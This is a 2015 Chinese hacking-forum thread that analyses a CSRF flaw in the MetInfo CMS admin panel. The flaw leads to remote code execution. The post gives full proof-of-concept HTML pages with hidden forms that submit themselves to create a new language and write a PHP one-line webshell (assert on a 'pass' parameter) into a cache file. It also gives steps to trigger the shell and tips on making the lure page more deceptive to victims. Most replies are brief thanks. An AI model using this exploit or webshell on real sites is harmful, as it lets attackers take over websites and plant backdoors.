楼主: 90_

Metinfo 后台csrf 漏洞getshell 分析附poc

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2015-8-7 09:13:12 | 显示全部楼层 |阅读模式
    转自90sec@淡蓝色の忧伤

    在include/lang.php 中 从第46行开始
    [PHP] 纯文本查看 复制代码
    if(!file_get_contents(ROOTPATH.'cache/lang_'.$lang.'.php')||!file_get_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php')){
            $query="select * from $met_language where lang='$lang' and site='0' and array!='0'";
            $result= $db->query($query);
            while($listlang= $db->fetch_array($result)){
                    $name = 'lang_'.$listlang['name'];
                    $$name= trim($listlang['value']);
                    $str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";
                    $lang_json[$listlang['name']]=$listlang['value'];
            }
            $lang_json['met_weburl'] = $met_langok[$lang][met_weburl];
            $str="<?php\n".$str."\n?>";
            file_put_contents(ROOTPATH.'cache/lang_'.$lang.'.php',$str);
            file_put_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php',json_encode($lang_json));
    }else{
            require_once ROOTPATH.'cache/lang_'.$lang.'.php';
    }

    注意

    file_put_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php',json_encode($lang_json));
    $lang_json 是从数据库中取出的数据

    (ps:刚开始看的这里以为$lang_json没初始化可以覆盖它getshell兴奋了一下,后来发现$lang_json还是会被过滤,(⊙﹏⊙)b)


    为了执行这上述语句需要拿到shell 我们需要

    1. $lang_json  内的数据可控
    2.
    [PHP] 纯文本查看 复制代码
    !file_get_contents(ROOTPATH.'cache/lang_'.$lang.'.php')||!file_get_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php')) 
    成立


    第一个条件我们先不看,先让第二个条件满足
    这两个是metinfo 的语言缓存文件,只有当系统不存在这种语言的缓存的时候系统才会创建缓存。
    怎么让系统不存在缓存文件(=@__@=)呢?

    1.变量覆盖
    但是metinfo的公共文件config/config.inc.php 中有这么一段
    [PHP] 纯文本查看 复制代码
    $langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");
    if(!$langoks)die('No data in the database,please reinstall.');

    这导致如果变量$lang不在数据库中程序就不会往下执行。所有变量覆盖这条路不通

    2.现在来到后台
    ͼƬ1.png

    在后台 设置 --- 》语言 新添加的语言将不会有缓存文件。满足第二个条件

    这时我们看到后台可以编辑语言参数,这里可以修改数据库,从而控制$lang_json 变量
    ͼƬ2.png
    到这里我们已经能后台getshell了,但是后台权限不怎么好弄到。
    所有我们进一步构造csrf 漏洞。

    Metinfo 后台没有csrf 防御,没有token
    在创建语言,和编辑语言处抓包,本地构造表单,用js提交

    以下为 poc
    Test.html
    [HTML] 纯文本查看 复制代码
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>无标题文档</title>
    </head>
    <body><iFrame src="poc1.html" width="500" height="500"></iFrame>
    <iFrame src="poc2.html"  width="500" height="500"></iFrame>
    </body>
    </html>

    Test.html 包含两个HTML文件,poc1.html和poc2.html
    宽度500 高500 是为了方便测试,使用时可用自行修改。当然你还得想想怎么让这个页面更具迷惑性。
    Poc1.html
    [HTML] 纯文本查看 复制代码
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>无标题文档</title>
    </head>
    <body>
    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <form name='form1' action="http://test.duye.com/admin/system/lang/lang.php">
          <input type="hidden" name="anyid" value="10" />
          <input type="hidden" name="lang" value="cn" />
          <input type="hidden" name="cs" value="1" />
          <input type="hidden" name="action" value="modify" />
          <input type="hidden" name="langsetaction" value="add" />
          <input type="hidden" name="cs" value="1" />
          <input type="hidden" name="langorder" value="3" />
          <input type="hidden" name="langautor" value="el" />
          <input type="hidden" name="langname" value="希腊语" />
          <input type="hidden" name="langflag" value="el.gif" />
          <input type="hidden" name="langmark" value="" />
          <input type="hidden" name="langdlok" value="0" />
          <input type="hidden" name="langfile" value="en" />
          <input type="hidden" name="synchronous1" value="" />
          <input type="hidden" name="synchronous" value="sq" />
          <input type="hidden" name="languseok" value="1" />
          <input type="hidden" name="langnewwindows" value="1" />
          <input type="hidden" name="met_index_type1" value="0" />
          <input type="hidden" name="langlink" value="" />
          <input type="hidden" name="Submit" value="保存" />
          <input type="submit" value="Submit request" />
        </form>
    <script>
    function sub(){
    document.form1.submit();
    }
    setTimeout(sub,10000);
    </script>
    </body>
    </html>

    Poc1.html 是提交创建新语言的表单 有js 控制,在加载1秒后自动提交。
    其中参数 langautor  是语言简写,le 是希腊,de是德国, en 是英语,
    一定要保证新创建的语言web没有用过,不然getshell将失败。
    [HTML] 纯文本查看 复制代码
    Poc2.html
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>无标题文档</title>
    </head>
    <body>
        <form name='form1' action="http://test.duye.com/admin/system/lang/langeditor.php">
          <input type="hidden" name="anyid" value="10" />
          <input type="hidden" name="cs" value="0" />
          <input type="hidden" name="lang" value="cn" />
          <input type="hidden" name="action" value="modify" />
          <input type="hidden" name="langnum" value="" />
          <input type="hidden" name="lang" value="cn" />
          <input type="hidden" name="langeditor" value="el" />
          <input type="hidden" name="metinfolangid" value="" />
          <input type="hidden" name="sethomepage_metinfo" value="HomePage" />
          <input type="hidden" name="home_metinfo" value="<?php call_user_func('assert', $_REQUEST['pass']);?>" /><!-- 这里插入一句话木马 <?php call_user_func('assert', $_REQUEST['pass']);?>-->
          <input type="hidden" name="foottext4_metinfo" value="Home" />
          <input type="hidden" name="PageHome_metinfo" value="Home" />
          <input type="hidden" name="memberIndex3_metinfo" value="User Home" />
          <input type="hidden" name="Submit" value="保存" />
          <input type="submit" value="Submit request" />
        </form>
    <!-- 当受害者点击该文件以后 , 去首页访问任意站点,在url中加入参数 ?lang=el (el为你设置的语言,当前el为希腊语)
                    然后系统会在cache 目录下生成lang_json_el.php  (el 为你设置的语言)
            菜单连接[url]www.test.com/cache/lang_json_el.php[/url]  密码pass
                     -->
    </body>
    <script>
    function sub(){
    document.form1.submit();
    }
    setTimeout(sub,20000);
    </script>
    </html>

    修改数据库加插入一句话<?php call_user_func('assert', $_REQUEST['pass']);?> 密码pass


    当受害者打开该文件以后 , 去首页访问任意站点,在url中加入参数 ?lang=el (el为你设置的语言当前el为希腊语)
    然后系统会在cache 目录下生成lang_json_el.php  (el 为你设置的语言)

    菜单连接www.test.com/cache/lang_json_el.php  密码pass
    3.png

    后记:应该和zhk 在在乌云上发的这个是同一个漏洞
    最新POC:
    metinfo后台csrf_getshell _poc.zip (2.27 KB, 下载次数: 2, 售价: 1 i币)
    回复

    使用道具 举报

  • TA的每日心情

    2016-6-30 22:19
  • 签到天数: 27 天

    [LV.4]偶尔看看III

    发表于 2015-8-7 11:40:30 | 显示全部楼层
    路过,谢谢分享!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-7 19:17:48 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-8 01:17:51 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2021-10-28 11:09
  • 签到天数: 473 天

    [LV.9]以坛为家II

    发表于 2015-8-8 18:00:56 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-9 06:26:59 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-10 12:56:59 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-10 14:24:30 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-8-10 22:31:41 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-8-12 01:56:54 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 16:47 , Processed in 0.032394 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部